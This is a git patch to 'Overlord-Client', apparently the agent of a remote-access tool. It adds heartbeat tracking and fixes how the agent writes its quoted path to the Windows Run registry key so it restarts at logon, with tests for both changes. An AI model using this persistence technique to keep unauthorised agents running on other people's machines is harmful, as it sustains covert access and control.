From ed3244449531f36028856a41f1664f394471ea14 Mon Sep 17 00:00:00 2001
From: KingKDot <why_are_you_looking_at_this@stoppeeping.com>
Date: Sun, 8 Mar 2026 16:08:04 -0500
Subject: [PATCH] fixed persistence error and error with clients sometimes not
 showing up as connected.

---
 .../cmd/agent/handlers/dispatcher_test.go     |  9 ++++++++
 Overlord-Client/cmd/agent/handlers/ping.go    |  2 ++
 .../agent/persistence/persistence_windows.go  | 12 ++++++++--
 .../persistence/persistence_windows_test.go   | 23 +++++++++++++++++++
 4 files changed, 44 insertions(+), 2 deletions(-)
 create mode 100644 Overlord-Client/cmd/agent/persistence/persistence_windows_test.go

diff --git a/Overlord-Client/cmd/agent/handlers/dispatcher_test.go b/Overlord-Client/cmd/agent/handlers/dispatcher_test.go
index 77b6cf7..990f146 100644
--- a/Overlord-Client/cmd/agent/handlers/dispatcher_test.go
+++ b/Overlord-Client/cmd/agent/handlers/dispatcher_test.go
@@ -4,6 +4,7 @@ import (
 	"context"
 	"errors"
 	"testing"
+	"time"
 
 	"overlord-client/cmd/agent/config"
 	rt "overlord-client/cmd/agent/runtime"
@@ -18,6 +19,7 @@ func TestHandlePing(t *testing.T) {
 		Conn: writer,
 		Cfg:  config.Config{},
 	}
+	env.SetLastPong(0)
 
 	ctx := context.Background()
 	envelope := map[string]interface{}{
@@ -44,6 +46,13 @@ func TestHandlePing(t *testing.T) {
 	if pong.TS != expectedTS {
 		t.Errorf("Expected timestamp %d, got %d", expectedTS, pong.TS)
 	}
+
+	if env.LastPong().IsZero() {
+		t.Fatalf("expected LastPong to be updated on ping")
+	}
+	if time.Since(env.LastPong()) > 5*time.Second {
+		t.Fatalf("expected LastPong to be recent, got %s", env.LastPong())
+	}
 }
 
 func TestHandleCommand_Ping(t *testing.T) {
diff --git a/Overlord-Client/cmd/agent/handlers/ping.go b/Overlord-Client/cmd/agent/handlers/ping.go
index 1f23b2b..baf0ffe 100644
--- a/Overlord-Client/cmd/agent/handlers/ping.go
+++ b/Overlord-Client/cmd/agent/handlers/ping.go
@@ -9,6 +9,8 @@ import (
 )
 
 func HandlePing(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
+	env.SetLastPong(time.Now().UnixMilli())
+
 	ts := extractTimestamp(envelope["ts"])
 	if ts == 0 {
 		ts = time.Now().UnixMilli()
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go
index 6fb4947..fbf9598 100644
--- a/Overlord-Client/cmd/agent/persistence/persistence_windows.go
+++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go
@@ -15,6 +15,14 @@ import (
 const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
 const registryValueName = "OverlordAgent"
 
+func formatRunRegistryCommand(exePath string) string {
+	trimmed := filepath.Clean(exePath)
+	if len(trimmed) >= 2 && trimmed[0] == '"' && trimmed[len(trimmed)-1] == '"' {
+		return trimmed
+	}
+	return fmt.Sprintf("\"%s\"", trimmed)
+}
+
 func getTargetPath() (string, error) {
 	appDataDir := os.Getenv("APPDATA")
 	if appDataDir == "" {
@@ -46,7 +54,7 @@ func install(exePath string) error {
 	}
 	defer k.Close()
 
-	err = k.SetStringValue(registryValueName, targetPath)
+	err = k.SetStringValue(registryValueName, formatRunRegistryCommand(targetPath))
 	if err != nil {
 		return fmt.Errorf("failed to set registry value: %w", err)
 	}
@@ -101,7 +109,7 @@ func configure(exePath string) error {
 	}
 	defer k.Close()
 
-	if err := k.SetStringValue(registryValueName, exePath); err != nil {
+	if err := k.SetStringValue(registryValueName, formatRunRegistryCommand(exePath)); err != nil {
 		return fmt.Errorf("failed to set registry value: %w", err)
 	}
 
diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go
new file mode 100644
index 0000000..83c0556
--- /dev/null
+++ b/Overlord-Client/cmd/agent/persistence/persistence_windows_test.go
@@ -0,0 +1,23 @@
+//go:build windows
+// +build windows
+
+package persistence
+
+import "testing"
+
+func TestFormatRunRegistryCommand_QuotesUnquotedPath(t *testing.T) {
+	in := `C:\Users\Test User\AppData\Roaming\Overlord\agent.exe`
+	got := formatRunRegistryCommand(in)
+	want := `"C:\Users\Test User\AppData\Roaming\Overlord\agent.exe"`
+	if got != want {
+		t.Fatalf("expected %q, got %q", want, got)
+	}
+}
+
+func TestFormatRunRegistryCommand_LeavesQuotedPath(t *testing.T) {
+	in := `"C:\Users\Test User\AppData\Roaming\Overlord\agent.exe"`
+	got := formatRunRegistryCommand(in)
+	if got != in {
+		t.Fatalf("expected %q, got %q", in, got)
+	}
+}